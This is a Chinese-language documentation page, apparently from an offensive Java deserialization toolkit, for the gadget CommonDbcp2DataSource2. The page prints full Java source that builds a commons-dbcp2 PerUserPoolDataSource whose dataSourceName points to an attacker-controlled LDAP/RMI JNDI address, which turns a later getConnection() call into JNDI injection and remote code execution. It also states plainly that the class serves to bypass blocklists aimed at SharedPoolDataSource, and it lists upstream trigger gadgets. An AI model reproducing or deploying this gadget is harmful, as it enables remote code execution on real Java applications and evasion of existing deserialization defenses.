- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:注解声明为
org.apache.commons:common-dbcp,但源码import的是org.apache.commons.dbcp2.datasources.PerUserPoolDataSource(即 dbcp2)。以实际引用为准:需要commons-dbcp2。
构造 commons-dbcp2 的 PerUserPoolDataSource,把 dataSourceName 设为攻击者可控的 JNDI 地址;当上层触发链调用 getConnection() 时,DBCP 用 dataSourceName 做 JNDI 查找,落地为 JNDI 注入 → RCE。是 CommonDbcp2DataSource 的姊妹实现,唯一差别是换用 PerUserPoolDataSource 作为 DataSource 实现类(便于绕过只针对 SharedPoolDataSource 的黑名单)。链尾 sink(END)。
- 入口
tags:DataSourceChains—— 归属「DataSource 触发」族。SpecialPublicMethod—— 靠特定公共方法getConnection被触发。Getter—— 也可被「getter 触发」型上游命中(connection→getConnection)。END—— 链终点。
- 衔接
nextTags:无(END)。 excludes:无。
@GadgetTags(tags={"DataSourceChains", "SpecialPublicMethod", "Getter", "END"})
public class CommonDbcp2DataSource2 implements Gadget {
private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";
@Param(name="Jndi地址")
public String jndiUrl = "ldap://127.0.0.1:1389/x";
public Object getObject() {
PerUserPoolDataSource dataSource = new PerUserPoolDataSource();
dataSource.setDataSourceName(this.jndiUrl); // dataSourceName = 恶意 JNDI 地址
return dataSource;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
return this.getObject();
}
}PerUserPoolDataSource 与 SharedPoolDataSource 同为 InstanceKeyDataSource 的子类,getConnection() 同样经由 dataSourceName 走 InitialContext.lookup。因此本环的利用原理与 CommonDbcp2DataSource 完全一致:getObject 只 new 出对象并 setDataSourceName(jndiUrl);invoke 向 GadgetContext 写入触发契约(父类型 DataSource、特定方法 getConnection、getter 属性 connection),把「如何激活本对象」告知上游。
依赖标注瑕疵:本类
@GadgetAnnotation.dependencies写的是org.apache.commons:common-dbcp,而import与new的都是 dbcp2 的PerUserPoolDataSource。实际部署需commons-dbcp2,注解标注属笔误,使用时以源码引用为准。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
jndiUrl |
Jndi地址 | 写入 dataSourceName,getConnection 时被 JNDI lookup 解析 |
ldap://127.0.0.1:1389/x |
任意 ldap:///rmi:// 恶意地址 |
- 需要
commons-dbcp2(提供org.apache.commons.dbcp2.datasources.PerUserPoolDataSource)。 - 选用
PerUserPoolDataSource而非SharedPoolDataSource,主要价值在于换类绕过:当防护只拦截SharedPoolDataSource时改用本类,JNDI 触发路径不变。 - 触发点
getConnection()→InitialContext.lookup(dataSourceName),利用成败取决于 JNDI 注入本身(受高版本 JDK 的 codebase 信任限制约束)。 - 本环只产出对象;真正的
getConnection()调用由上游 getter/特定方法触发器完成。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。
- 上游:CommonsBeanutils1 等
Getter型跳板,或SpecialPublicMethod型触发器。 - 同族(同目录 DBCP DataSource sink):
- CommonDbcp2DataSource(dbcp2 ·
SharedPoolDataSource) - CommonDbcpDataSource(dbcp1 ·
SharedPoolDataSource) - CommonDbcpDataSource2(dbcp1 ·
PerUserPoolDataSource)
- CommonDbcp2DataSource(dbcp2 ·